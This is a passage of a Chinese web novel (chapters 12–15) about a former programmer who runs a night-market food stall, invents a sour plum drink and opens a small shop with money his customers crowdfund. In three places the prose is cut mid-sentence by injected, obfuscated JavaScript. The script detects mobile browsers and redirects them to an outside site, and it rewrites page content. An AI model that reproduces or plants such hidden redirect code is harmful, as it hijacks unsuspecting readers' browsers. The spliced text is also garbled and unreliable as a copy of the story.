合上本子，他骑着三轮车往回走。 路上他想起了今天那个胖小伙子说的话：“夏天吃很舒服。” 就这一句话，他觉得今天这一整天都值了。 回到城中村，巷子里那几只猫又在等他。房寨从口袋里掏出一根火腿肠，掰碎了丢给它们。今天多了一只小猫，橘色的，瘦瘦小小的，挤在大猫中间抢食。 房寨蹲下来看了一会儿。 小猫抢到了一块大的，叼着跑到墙角，趴在那里慢慢地吃。 他笑了笑，站起来上了楼。 开门，开灯。灯没闪，今天很稳。 他洗了个澡，躺在床上，翻开手机。 群里有人在发凉面的照片，配文是“寨哥儿新出的凉面，好吃到舔碗”。下面一堆人在问明天还有没有。 房寨回复了一句：“明天还有，凉面每天都有。” 发完这条，他翻了翻系统面板。 【当前厨艺经验值：850/1000（中级还需150）。】 【建议：多尝试新菜品，积累经验值。达到中级后可解锁店铺经营功能。】 还差一百五。 按照现在的进度，大概再做一个新菜品就能到了。 房寨想了想，决定明天再试一个新东西。 做什么呢？ 他闭上眼想了想，脑子里忽然冒出一个念头——酸梅汤。 夏天卖凉面配酸梅汤，绝配。 酸梅汤不是主食，成本低，利润高。如果做得好，一晚上卖几十杯不成问题。 他决定明天试试。 关了灯，躺在床上，听着窗外的风声和猫叫。 今天赚了三百五，比昨天少，但比上个月的平均水平高。 最重要的是，凉面做成了。 又多了一个能卖的菜。 房寨翻了个身，把被子拉到肩膀。 明天继续。 13. 第 13 章 酸梅汤这件事，房寨琢磨了好几天。 他以为很简单，不就是乌梅山楂冰糖煮一煮吗？小时候奶奶夏天经常熬，一大锅放在冰箱里，放学回来喝一碗，又酸又甜又解渴。 但真做起来才发现不对。 第一次试，他买了乌梅、山楂、甘草、陈皮，按照网上的配方，乌梅放一把，山楂放一把，冰糖放一大块，加水煮了半小时。煮出来的汤颜色倒是挺深，但喝起来有一股子药味儿，又酸又涩，喝完嘴里发苦。 太浓了。 第二次，他把乌梅和山楂减半，甘草只放了两片，冰糖多加了一些。煮了二十分钟就关火，晾凉了尝一口。药味淡了，但还是不够好，酸味太冲，甜味在后头，两者之间像隔了一层什么东西，没有融合在一起。 第三次，他换了个思路，不放甘草了，改放桂花。乌梅和山楂先用温水泡了半小时，泡出味道之后再煮，煮的时候放一小把干桂花。冰糖分两次放，一半在煮的时候放，一半在关火之后放。 煮好的酸梅汤是深琥珀色的，透着光看是红褐色的，很透亮。凑近了闻，有乌梅的烟熏味和桂花的香气混在一起，不冲，但很勾人。 他倒了一小杯尝了一口。 酸味先上来，但不刺激，是那种让人嘴里一紧又马上放松的酸。然后是甜，冰糖的清甜慢慢渗出来，把酸味裹住了。最后是桂花的香味，在喉咙里绕了一下才散。 好喝。 房寨一口气喝了三杯，喝到第四杯的时候打了个哆嗦，太凉了，胃有点受不了。 他把配方记下来，决定晚上拿去夜市卖。 但有个问题。 酸梅汤要冰的才好喝。他没有冰箱，冰块也没地方弄。夜市倒是有一家卖冰粉的，但人家不卖冰块。 房寨想了想，去超市买了个大号的保温桶。那种能装二十升水的，桶壁很厚，保温效果不错。他又去制冰厂买了十斤冰块，五块钱。 回到家，他把煮好的酸梅汤倒进保温桶，加了一大半冰块进去，盖上盖子。 等了一个小时，打开尝了一口，凉丝丝的，比常温的好喝多了。 他算了一下成本。乌梅、山楂、冰糖、桂花、冰块，加上桶和杯子吸管，一杯的成本大概一块钱左右。他打算卖三块钱一杯，一杯大概两百毫升。 下午四点多，房寨骑着三轮车出门了。保温桶放在车上，用绳子固定了好几道，怕路上颠簸洒了。 到了夜市，他先把酸梅汤的事放一边，开始准备凉面和炒河粉的材料。黄瓜切丝，豆芽焯水，花生碾碎，酱汁调好。河粉撕开，鱿鱼串好，红薯洗干净。 五点半的时候，阿坤来了。他今天练得早，五点多就结束了。 “寨哥，今天有什么新东西？” “酸梅汤，你尝尝。”房寨倒了一杯递给他。 阿坤接过去喝了一口，停顿了一下，又喝了一大口，然后盯着杯子看了两秒。 “寨哥，你这个……是不是加了什么不该加的东西？” “什么意思？” “我怎么觉得喝了会上瘾呢？”阿坤把剩下的全喝了，杯子往桌上一放，“再来一杯。” 房寨笑着又给他倒了一杯。 “你今天帮我卖这个，我给你提成。” “提什么成，你借我两千块钱我还没还呢。”阿坤摆了摆手，“我帮你卖就是了，别提钱。” 六点整，开摊。 今天人来得比平时早。群里有人看到房寨发的新品预告，专门提前下班赶过来的。 第一个买酸梅汤的是个穿连衣裙的姑娘，买了一碗凉面，看到酸梅汤的招牌，顺带要了一杯。 “三块是吧？来一杯。” 房寨从保温桶里接了一杯递给她。姑娘先喝了一口，眼睛眯了一下，然后又喝了一口，这次喝了一大口，喝完还咂了咂嘴。 “老板，你这个酸梅汤是自己熬的吗？” “对，自己熬的。” “跟外面卖的不一样，外面的太甜了，你这个酸味很正。”姑娘把杯子举起来看了看颜色，“而且颜色也好看。” 她端着凉面和酸梅汤走了，走了几步又回头：“老板，酸梅汤能打包带走吗？我想给我同事带一杯。” “能，要几杯？” “两杯。” 房寨又接了两杯，用盖子盖好，装进袋子里。 【叮！食客评价已录入。满意度：96分。】 酸梅汤的生意比房寨想的还好。 买了凉面的人基本都会带一杯，有的人不买吃的，专门来买酸梅汤。有对情侣一人买了三杯，说要在回家的路上喝。有个大叔一口气买了五杯，说带回去给家里人尝尝。 保温桶里的酸梅汤肉眼可见地往下掉。不到一个小时，半桶没了。 房寨有点心疼，不是心疼钱，是心疼自己熬的那些乌梅和山楂。他在菜市场挑了好久才买到好的乌梅，那种个头大、肉厚、烟熏味足的。山楂也是挑的，不要那种太干的，要有点水分的。 但看到那些喝酸梅汤的人脸上满足的表情，他又觉得值了。 有个大爷喝完一杯，又回来买了两杯，站在摊位旁边一边喝一边跟房寨聊天。 “小伙子，你这个酸梅汤让我想起小时候。”大爷说，“我爷爷以前夏天也熬这个，用那种大砂锅，放在院子里的煤炉上，咕嘟咕嘟煮一下午。整个院子都是酸梅汤的味道。” “那您爷爷手艺应该比我好。” “他熬了一辈子，你才熬了几天？”大爷笑了，“但你跟他有一个共同点，你们熬的酸梅汤都不是那种死甜的，酸味很活。这个不容易。” 房寨被夸得有点不好意思，低下头给大爷又续了半杯。 “不要钱，送您的。” 大爷笑呵呵地接过杯子，慢慢走了。 八点多的时候，酸梅汤卖光了。 二十升的保温桶，大概能装一百杯左右。一杯三块钱，光是酸梅汤就卖了将近三百块。扣掉成本，净赚两百多。 房寨没想到酸梅汤这么能卖。 他算了一下，如果每天都能卖一百杯，光酸梅汤一个月就能赚六千多块。比上班还多。 但这是理想情况。今天是因为新品，大家图新鲜，明天可能就卖不了这么多了。 不过至少说明这个方向是对的。 凉面配酸梅汤，夏天的黄金搭档。 收摊的时候，房寨把今天的情况记在了本子上。 “酸梅汤，净赚220，好评多。明天多做一点，买个大桶。” 他合上本子，骑着三轮车往回走。 路过天桥的时候，那个唱歌的人又在。今天唱的是首民谣，吉他弹得很简单，声音有点哑。桥上有几个年轻人坐在台阶上听，听完鼓了鼓掌。 房寨停下来听了一会儿，往吉他盒里放了五块钱。 唱歌的人冲他点了点头。 房寨正要走，那人忽然开口了。 “哥们，你是不是那个卖炒饭的？” 房寨愣了一下：“你认识我？” “我吃过你的炒河粉。”那人笑了笑，“上上周在夜市，排队排了半小时才吃到。你做的确实好吃。” “谢谢。” “你等一下。”那人把吉他放在一边，从包里掏出一个本子，撕了一张纸，写了一行字递给房寨。 房寨接过来一看，上面写着一个名字和一个手机号。 “我叫何一舟，搞音乐的。”那人说，“我有个想法，想给你写首歌，就写你的炒饭摊。不要钱，就是想写。” 房寨看着那张纸，不知道该怎么接话。 写歌？给他写歌？一个摆摊的，有什么好写的？ “你不用紧张。”何一舟笑了，“我就是觉得你这个人和你的摊有意思。你在夜市最偏的角落里，但排队的人最多。你在夏天卖烤红薯，在路边煮阳春面。你做的东西不是最贵的，但吃的人都笑了。” 他顿了顿。 “这不就是一首歌吗？” 房寨把纸条折好，放进口袋。 “你什么时候有空，来夜市找我，我请你吃饭。” “行。” 房寨骑着三轮车走了。骑出去一段路，他摸了一下口袋，纸条还在。 他想，这世界上的事真是奇怪。半个月前他还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511082|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个每天吃蛋炒饭的程序员，现在有人在夜市排队半小时买他的炒河粉，还有人要给他写歌。 但他又觉得，好像也没那么奇怪。 因为他只是做了一件事——认认真真地做饭。 回到城中村，巷子里那几只猫还在。那只小橘猫今天又来了，比昨天看着大了一点，不知道是不是心理作用。 房寨从口袋里掏出一根火腿肠，掰碎了丢给它们。小橘猫这次抢到了两块，叼着跑到墙角，吃得很快。 他蹲下来看了一会儿，想伸手摸一下，小橘猫往后缩了缩，没让摸。 “行吧，不摸就不摸。” 房寨站起来，上了楼。 今天不早，但也不算晚。他没有马上洗澡，而是坐在塑料凳子上，把今天的事在脑子里过了一遍。 酸梅汤卖得好，明天要多备一些。凉面的酱汁可以再调一个版本，不放辣的，有些人吃不了辣。炒河粉的牛肉腌法可以改进一下，加点小苏打会更嫩。 他拿出本子，把这些想法一条条记下来。 然后他翻到前面，看了看这个月的总账。 净赚四千七，加上今天的，刚好破五千。 他盯着这个数字看了几秒，然后在本子最上面写了一行字：“下个月目标：净赚一万。” 写完他自己都觉得有点夸张。一个月赚一万，一天要赚三百多。今天赚了四百多，昨天三百多，前几天也有四百多的，但有时候只有一两百。 平均下来一天三百多，不是不可能，但需要每天都保持高客流。 他需要更多的熟客，更好的口碑，更稳定的出品。 还有，更丰富的菜单。 房寨翻了翻系统面板，厨艺经验值已经到了九百二，还差八十就能升到中级。他需要再做一两个新菜。 做什么呢？ 他想到了夜市上卖得最好的几样东西——烤面筋、炸串、臭豆腐、炒酸奶。但这些都有人做了，他不想跟别人抢生意。 他需要一个别人没有的、适合夏天的、成本不高但利润不错的东西。 想了半天，没想出来。 算了，明天再说。 房寨洗了个澡，躺在床上，拿起手机看了一眼。 群里有人发了一条很长的消息，是个姑娘写的。 “今天是我分手整整一个月的日子。这一个月我过得浑浑噩噩的，吃不下睡不着，瘦了十几斤。今天朋友拉我去城南夜市，说有一家炒河粉特别好吃，让我尝尝。 我本来没什么胃口，但看到寨哥儿那个摊的时候，不知道为什么就想吃了。可能是他的摊看起来很干净，也可能是他炒菜的时候很认真。 我吃了一碗炒河粉，加牛肉的。吃第一口的时候我觉得没什么特别的，但吃到第三口的时候，我忽然哭了。不是难过，是那种……怎么说呢，就是觉得，原来我还是能吃下东西的，原来我还是会觉得一样东西好吃的，原来我还是会活过来的。 谢谢寨哥儿。不是因为你做的饭有多好吃，是因为你让我知道，这个世界上还有人认认真真地做着一件小事，而且做得很好。这让我觉得，一切都会好起来的。” 房寨看完这条消息，拇指在屏幕上方停了好一会儿。 他不知道该回复什么。 说“不客气”太轻了，说“你一定会好起来的”太假了，他一个摆摊的，凭什么说这种话。 最后他打了几个字：“你多吃点，长胖了才好。” 发出去之后他又觉得这句话说得太蠢了，但撤不回来了。 群里有人回复他：“寨哥儿你这是什么直男回复哈哈哈哈。” 也有人回复那个姑娘：“姐妹，寨哥儿就是这个风格，你别介意，他是真心的。” 房寨把手机扣在胸口，盯着天花板。 灯没闪。 他想，也许他真的不用说什么漂亮话。他只要把饭做好，把酸梅汤熬好，把摊位收拾干净，就行了。 那些人要的，不是他的安慰。 他们要的，是一碗好吃的饭，一杯好喝的酸梅汤，一个干净的小摊，一个认真做饭的人。 这些东西，他能给。 14. 第 14 章 房寨是在一个普通的周二晚上升到中级的。 那天生意一般，人不多不少，卖了四十多份凉面和炒河粉，酸梅汤卖了不到五十杯。收摊的时候他在记账，系统面板突然弹出来，蓝光把本子都照变色了。 【恭喜宿主！厨艺等级提升：中级。】 【当前经验值：1020/3000。】 【新功能解锁：店铺经营系统。】 【新功能解锁：食材溯源。】 【新功能解锁：菜品研发。】 【解锁奖励：房贷减免券×1，厨具升级券×1，随机珍贵食谱×1。】 房寨放下笔，一个一个地看这些新功能。 店铺经营系统，之前就预告过，但一直没解锁。现在点进去一看，里面分了好几个板块：选址分析、客流预测、成本核算、菜单优化。每个板块都是灰色的，需要完成相应的任务才能激活。 食材溯源，这个他没想到。点进去是一个数据库，可以查看每一种食材的产地、品种、新鲜度评分。他拿起手边的一根黄瓜试了试，面板上立刻显示出一行字：黄瓜，产地城北批发市场，品种津绿一号，新鲜度72分，建议冷藏保存。 房寨看着这行字，觉得挺有用的。至少以后买菜的时候能知道哪种更新鲜。 菜品研发，这个最让他感兴趣。点进去之后是一个空白的界面，上面有一行提示：请选择研发方向（主食/小吃/饮品/汤羹）。他选了主食，界面跳出来一个列表，里面是各种食材的搭配方案和预估评分。 他试着把“河粉、牛肉、豆芽、韭菜”输进去，系统给出了评分预测：84分。他又把“面条、芝麻酱、黄瓜、豆芽”输进去，预测评分：79分。 这个功能可以用来测试新菜品的可行性，不用自己瞎试了。 最后一个，随机珍贵食谱。 房寨深吸一口气，点了一下。 金光一闪，一行字浮现出来。 【获得食谱：煲仔饭。】 煲仔饭。 房寨脑子里立刻浮现出完整的画面。砂锅底部刷一层油，米加水煮到收水，铺上腊肠和腊肉，沿着锅边淋一圈油，小火慢煲。最后打一个鸡蛋，撒上葱花，浇上酱汁。锅巴要焦黄酥脆，米饭要粒粒分明，腊味的油脂渗进米饭里，每一口都是香的。 他咽了口唾沫。 但这个菜不好做。需要砂锅，需要明火，需要控制火候。腊肠腊肉要好的，米的品种也有讲究，丝苗米最好，普通大米太黏了。 而且煲仔饭是现做的，一份要十几分钟，不适合在夜市卖。人一多，根本忙不过来。 房寨想了想，觉得这个菜可以留着，以后开店了再用。 他把新功能挨个研究了一遍，觉得最有用的还是菜品研发。有了这个，他可以自己设计新菜，不用全靠系统给了。 第二天，房寨去了趟菜市场，用上了食材溯源功能。 他拿起一把青菜，系统显示新鲜度68分。换了一把，78分。又换了一把，82分。他买了那把82分的，比普通的贵了五毛钱，但值。 买肉的时候更明显。两家肉铺的猪肉，一家新鲜度91分，一家73分。91分那家的肉颜色更鲜亮，闻着也没有异味，但价格贵了两块钱。房寨咬咬牙买了贵的。 他想，贵有贵的道理。客人吃得出区别。 回到出租屋，他开始备料。今天的量比平时多一些，酸梅汤他打算煮两大桶，凉面多备了十份。 下午的时候，他接到了阿坤的电话。 “寨哥，你在哪？” “在家备料。” “你等一下，我带个人来找你。” “谁？” “到了你就知道了。” 过了半小时，阿坤来了，后面跟着一个四十多岁的男人。男人穿着格子衬衫，戴着眼镜，头发有点乱，看起来像个老师或者工程师。 “这是李哥。”阿坤介绍说，“我学员的爸爸，做餐饮的，开了好几家店。” 房寨有点懵，不知道阿坤带这个人来干什么。 李哥倒是很直接，在屋里转了一圈，看了看房寨的食材和调料，又看了看他的推车和烤炉。 “阿坤说你做的东西很好吃，我今天来不是吃饭的，是想跟你谈谈合作。” “合作？” “你有没有想过开店？”李哥拉过塑料凳子坐下来，“我在城南有一个小铺面，之前是做奶茶的，生意不好关了。位置还行，离你那个夜市不远。你要是想开店，我可以低价租给你。” 房寨看着李哥，又看了看阿坤。 “李哥是做餐饮的，他能帮你。”阿坤说，“你总不能一直摆摊吧？刮风下雨怎么办？冬天怎么办？” 房寨知道阿坤说得对。摆摊确实不是长久之计。夏天还好，到了冬天，站在外面几个小时，手都能冻裂。下雨天更不用说了，根本出不了摊。 但他也有顾虑。 “租金多少？” “那个铺面不大，二十来个平方，月租三千。”李哥说，“比市场价低，我不赚你的钱，就是想看看你能做成什么样。” 三千。比夜市的摊位贵一千，但多了一个屋子，有水电，有空调，有操作台。不用每天推车来回跑，不用怕刮风下雨，可以固定营业时间。 房寨心动了，但他没有马上答应。 “李哥，我能去看看那个铺面吗？” “现在就去，我开车来的。” 三个人出了门，李哥开着一辆旧SUV，拉上房寨和阿坤，往城南开。路上堵了一会儿，二十分钟才到。 铺面在一条支马路上，离主街不远，但不算热闹。周围有几个小区，还有一家小学和一家幼儿园。铺面不大，门脸也很窄，不仔细看容易错过。但里面比房寨想的好，方方正正的，有个小厨房，有个小仓库，还有个卫生间。 “以前做奶茶的，上下水都有，电也够用。”李哥指了指厨房，“你要做煲仔饭的话，需要加几个炉头，我可以帮你找人弄。” 房寨在铺面里走了一圈，用手摸了摸墙壁，蹲下来看了看地面。整体还行，虽然旧了点，但收拾收拾能用的。 “李哥，我考虑三天，行吗？” “行，你慢慢考虑。” 回去的路上，阿坤问房寨：“你觉得怎么样？” “地方还行，就是怕客流量不够。” “你有群啊，群里几百号人，你发个消息他们不就来了？” 房寨想了想，也是。 但他最担心的不是客流量，是房租。三千块钱一个月，加上水电食材人工，一个月固定成本至少五千。他每天要卖多少才能回本？算下来一天至少要赚两百块，才能不亏。 他现在摆摊一天能赚三百左右，开店之后成本高了，利润反而可能下降。 除非客流量翻倍。 但能翻倍吗？ 他不知道。 晚上出摊的时候，房寨一直在想这件事。 炒河粉的时候想，差点把河粉炒糊了。拌凉面的时候想，酱汁放多了，咸了。客人说酸梅汤今天的味道不太一样，他才反应过来，今天换了乌梅，忘了调整配方。 “寨哥，你今天心不在焉啊。”阿坤在旁边看出来了。 “没事，在想点事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511083|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。” “想开店的事？” “嗯。” “我跟你说，李哥那个铺面很多人想租，他是看在我的面子上才先给你看的。”阿坤压低了声音，“你要是不要，他下周就给别人了。” 房寨知道阿坤不是在吓他。 他站在铁板后面，看着面前排队的人。今天人不多，大概十几个，有的在低头看手机，有的在跟朋友聊天，有的在看他炒菜。 他想，这些人会愿意去他的店里吃吗？ 如果店开在支马路上，不在主街上，他们愿意多走几步路吗？ 他不知道。 但他想到了另一件事。 开店之后，他可以不用每天推着那个咯吱咯吱响的推车来回跑了。可以不用在冬天站在外面吹冷风了。可以有一个固定的地方，让客人坐下来慢慢吃，而不是蹲在路边。 他可以让那些人吃得更舒服一点。 就这一点，就值得试试。 收摊的时候，房寨把今天的情况记在本子上，然后在最下面写了一行字：“明天去看李哥的铺面，再仔细量一下尺寸。” 合上本子，他骑着三轮车往回走。今天夜风挺大的，吹得遮阳棚哗哗响，他把车骑得慢了些，怕东西被吹掉。 路过天桥的时候，何一舟不在。桥上空荡荡的，只有几个烟头和一张被风吹到角落里的报纸。 房寨没停，直接骑过去了。 回到城中村，那几只猫还在。小橘猫今天特别活跃，在巷子里跑来跑去，追着一只飞蛾玩。房寨看了一会儿，从口袋里掏出火腿肠，掰碎了丢在地上。 猫们围过来吃，小橘猫跑得最快，抢了一块大的，叼着跑到老位置。 房寨蹲下来，慢慢伸出手。小橘猫这次没躲，但也没靠近，就蹲在那里看着他，嘴里还叼着火腿肠。 房寨把手停在半空中，等了几秒。小橘猫歪了歪头，往前挪了一步，用鼻子碰了一下他的手指。 凉凉的，湿湿的。 房寨笑了笑，站起来上了楼。 开门的时候他忽然想起来，今天系统给了房贷减免券还没用。他点开面板，把券用了。 【房贷减免券生效中……抵扣本金8000元。当前剩余本金：1,466,331.68元。】 一百四十六万。 从一百五十二万到现在，还了快六万了。 其中大部分是系统给的，他自己摆摊赚的只还了一小部分。但他不觉得惭愧，系统是他的本事，系统给的奖励就是他的奖励，不分彼此。 洗了澡，躺在床上，房寨把手机拿出来，在群里发了一条消息。 “问大家一个问题，如果我开个店，你们会来吗？” 消息发出去之后，群里安静了两秒钟，然后炸了。 “开店？！寨哥儿你要开店了？！” “开开开！必须开！在哪开？什么时候开？” “你开在哪我就去哪，远一点没关系。” “终于要开店了！再也不用蹲在路边吃炒河粉了！” “寨哥儿你开店的话能不能搞个会员卡？我要充一年的！” 房寨看着这些消息，鼻子有点酸。 他回了一条：“还没定，就是问问。定了第一时间通知大家。” 发完这条，他把手机放在枕头边，关了灯。 黑暗中，他想了很多。想到那个铺面，想到李哥说的话，想到群里那些人的回复。 他觉得，也许可以试试。 就算失败了，大不了再回来摆摊。 推车还在，轮子虽然咯吱咯吱响，但还能推得动。 15. 第 15 章 房寨第二天一早就去了那个铺面。 他带了一卷尺，一个本子，一支笔。到的时候才八点多，街上没什么人，旁边的早餐店还在卖包子，蒸笼摞得老高，热气往上冒。 铺面的卷帘门关着，上面贴着一张招租启事，留的是李哥的电话。房寨没打，他想先自己看看周围的环境。 他在铺面门口站了十几分钟，数了数路过的人数。不多，但也没他想得那么少。有送孩子上学的家长，有遛狗的老人，有骑电动车上班的年轻人。这些人不一定都会进来吃饭，但如果他做得够好，总有人会停下来。 他又走到主街上，看了看那边的餐饮店。有一家面馆，生意还行，早上九点了还坐了几个人。有一家包子铺，已经收了。有一家黄焖鸡，还没开门。 主街的人流量比支路多一倍不止，但租金肯定也贵。他不敢问，怕问了心里不平衡。 九点多，李哥来了。 “来这么早？”李哥开了门，卷帘门哗啦一声往上跑，里面的灰尘扬起来，在阳光里飘了一阵。 “睡不着，就早点来了。” 房寨拿着尺子开始量。厨房的长宽高，操作台的位置，水槽的大小，插座的高度。一样一样地量，一样一样地记在本子上。 李哥在旁边看着，没说话，嘴角有一点笑。 “你是做技术出身的吧？”李哥忽然问。 “程序员。” “难怪。”李哥点了点头，“做事这么细。” 房寨量完了，在本子上画了个草图，标了尺寸，然后站在屋子中间看了看。 “李哥，这个铺面以前做奶茶的时候，一天能做多少营业额？” “好的时候一千多，差的时候两三百。”李哥说，“后来旁边开了家蜜雪冰城，就做不下去了。” 房寨想了想。奶茶和餐饮不一样，奶茶是买了就走，餐饮是坐下来吃的。他的店不需要很大的客流量，只要有一批稳定的熟客，就能活下去。 “李哥，租金能再低一点吗？” 李哥看着他，沉默了几秒。 “两千八，不能再低了。” 房寨在心里算了一下。两千八的房租，加上水电食材，一个月固定成本四千五左右。一天卖一百五十块钱就能保本，超过的就是赚的。他现在摆摊一天能卖六七百，开店之后应该不会比摆摊差。 “行。”房寨说，“我租。” 李哥从车里拿出合同，一式两份。房寨看了一遍，比夜市的合同正规多了，上面有条款、有违约责任、有续约条件。他看得仔细，每一条都读了两遍。 “你看合同的样子像在审代码。”李哥笑了。 “习惯了。” 房寨签了字，按了手印，交了第一个月的租金和押金。押金一个月，租金两千八，一共五千六。他手头的钱刚好够，交完只剩几百块了。 李哥把钥匙给他，拍了拍他的肩膀。 “好好干，我看好你。” 李哥走了之后，房寨一个人站在空荡荡的铺面里，手里攥着钥匙，钥匙的齿硌得手心疼。 这是他的了。 虽然只是个二十平米的铺面，虽然位置偏了点，虽然墙面还有点掉灰，但这是他的了。不是租的城中村那种随时可能被房东赶走的单间，是正儿八经的、签了合同的、用来开店做生意的铺面。 他把卷帘门拉下来，骑着三轮车回去了。 下午他没去菜市场，而是去了趟五金店和厨具城。 铺面需要装修，但不需要大动。地面还行，不用重铺。墙面需要刷一下，他买了三桶乳胶漆，白色的，打算自己刷。厨房需要加两个炉头，一个炒菜用，一个煲仔饭用。还需要一个冰箱，一个冰柜，一个消毒柜，几张桌椅。 他拿着本子，把需要的东西一样样列出来。 炉头两个，一千二。冰箱一个，一千五。冰柜一个，八百。消毒柜一个，四百。桌椅四套，一千。乳胶漆和刷子，两百。乱七八糟的小东西，五百。 加起来五千多。 他没那么多钱。 房寨坐在塑料凳子上，看着本子上的数字发呆。 他手头只剩几百块了，连冰箱都买不起，更别说炉头和桌椅了。 他想到了小刘。上次小刘他们凑了一千二，他还没还。再借？不好意思开口。 想到了阿坤。阿坤还欠他两千，总不能让他还了再借。 想到了李哥。刚跟人家签了合同，转头就借钱，不合适。 房寨把本子合上，放在一边。 算了，先不想了。先把夜市摆好，攒够了钱再装修。 晚上出摊的时候，房寨的状态不太好。心里装着事，干活有点走神。有客人要加辣，他忘了加。有客人要少油，他给了正常量。虽然没人说什么，但他自己知道，今天做的比平时差。 阿坤在旁边看着，没吭声，等客人少了一些才凑过来。 “寨哥，你今天怎么了？” “没事。” “你别骗我，你炒河粉的时候酱油放多了两回，你自己没发现？” 房寨愣了一下。他确实没发现。 “是不是开店的事遇到困难了？” 房寨犹豫了一下，把装修缺钱的事说了。 阿坤听完，从口袋里掏出手机，按了几下，然后把屏幕转过来给房寨看。 “这是群里大家众筹的，我刚发起的。” 房寨接过手机一看，阿坤在群里发了一条消息，上面写着：“寨哥儿要开店了，缺钱买设备，大家愿意的话可以凑一点，多少都行，以后寨哥儿请你们吃饭。” 下面已经有人开始转账了。 “我出两百。” “我出一百。” “学生党没什么钱，五十块，寨哥儿加油。” “五百，算我入股，不要利息。” 房寨看着这些消息，眼睛一下子就红了。 他把手机还给阿坤，转过身去，假装在擦铁板。但阿坤还是看到了。 “寨哥，你哭了？” “没有，油烟熏的。” “铁板都没开火，哪来的油烟？” 房寨没说话，用力擦了几下铁板，然后把抹布丢进水桶里。 “你跟群里说，钱算我借的，以后还。” “我说了，他们说不用还。”阿坤把手机揣回兜里，“你就别跟他们客气了，他们都是真心想帮你。” 房寨深吸了一口气，把那股往上涌的东西压了下去。 他转过身，继续干活。 接下来的几天，房寨白天跑装修，晚上摆摊。 铺面的墙他一个人刷的。三桶乳胶漆，一把滚筒刷，一个人干了三天。第一天刷了第一遍，第二天刷了第二遍，第三天修补了一下边角。刷完之后墙面白了很多，整个屋子亮堂了不少。 厨房的炉头是他自己装的。买了两个猛火炉头，接上煤气管，试了火，蓝色的火焰蹿得老高，很猛。炒菜用的锅也买了，铁锅，三十四厘米的，先开锅，烧热了用猪油擦了三遍，锅面黑亮黑亮的。 冰箱和冰柜是二手的。他在二手市场淘的，一个冰柜三百，一个冰箱四百，都还能用，就是旧了点。擦干净之后，看着还行。 桌椅也是二手的。四套，一套八十，一共三百二。木头的，有点划痕，但不影响用。他买了桌布铺上，蓝色的格子布，铺完之后整个店的感觉都不一样了。 消毒柜买了个新的，四百块，最小的那种，够用就行。 所有的东西加起来，花了不到四千块。比预算少了将近一千。 房寨站在店里，看着这个自己一手弄起来的小空间，心里说不出的满足。 墙面是白的，桌布是蓝格子的，厨房的炉头擦得锃亮，冰箱里空空的但通了电在制冷。门口他挂了一块小招牌，白底黑字，写着“寨哥儿”三个字，下面是“煲仔饭·炒河粉·凉面”。 招牌是他自己写的，字还是歪歪扭扭的，但他觉得挺好的。歪就歪呗，反正他是卖饭的，又不是卖字的。 开店的日子定在了下周六。 房寨在群里发了通知：“下周六，新店开业，地址在城南翠屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511084|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路，具体位置我发定位。开业当天全场八折，酸梅汤免费。” 群里又是一阵欢呼。 有人问：“寨哥儿，新店有煲仔饭吗？” 房寨回复：“有，开业当天第一次做，好不好吃不敢保证，你们来尝尝。” 有人问：“几点开门？” “中午十一点到晚上八点，卖完可能提前收。” 有人问：“能预定吗？我怕排队。” 房寨想了想，回复：“不用预定，来了就有。排队的我送酸梅汤。” 发完这条，他把手机放在一边，开始准备开业的东西。 菜单要重新做。以前在夜市，菜单就是一块纸板。现在开店了，得正式一点。他找了一张大卡纸，用彩色笔写了菜单，上面列了所有的菜品和价格。 煲仔饭——18元（腊味/排骨/香菇滑鸡） 炒河粉——12元（加牛肉15元） 凉面——8元 酸梅汤——3元 烤红薯——6元/8元 他本来想多做几个煲仔饭的口味，但想了想，刚开始还是少而精，把腊味煲仔饭做好就行。 开业前一天，房寨忙了一整天。 上午去买食材。腊肠腊肉专门去了一家老字号，老板是个广东人，说他的腊肠是东莞那边进的货，房寨用食材溯源功能查了一下，新鲜度89分，算高的了。买了五斤腊肠，五斤腊肉，花了三百多。 米买的是丝苗米，十斤一袋，买了五袋。这种米细长，煮出来粒粒分明，适合做煲仔饭。 排骨和鸡肉也买了，打算试试另外两种口味，但开业当天主推腊味。 下午的时候，阿坤来了。他带了几个人，都是健身房的同事，来帮房寨搬东西搞卫生。 “寨哥，你坐着，我们来。”阿坤把房寨按到椅子上，带着人开始搬桌椅擦玻璃。 房寨坐在椅子上，看着这帮人忙活，心里过意不去，想去帮忙，又被按回来。 “你今天是老板，哪有老板干活的。”阿坤说。 房寨只好坐着，看着他们把店里收拾得干干净净。 傍晚的时候，小刘也来了。他带了一个花篮，红色的，上面写着“祝寨哥儿开业大吉”。 “小刘，你花这钱干什么？” 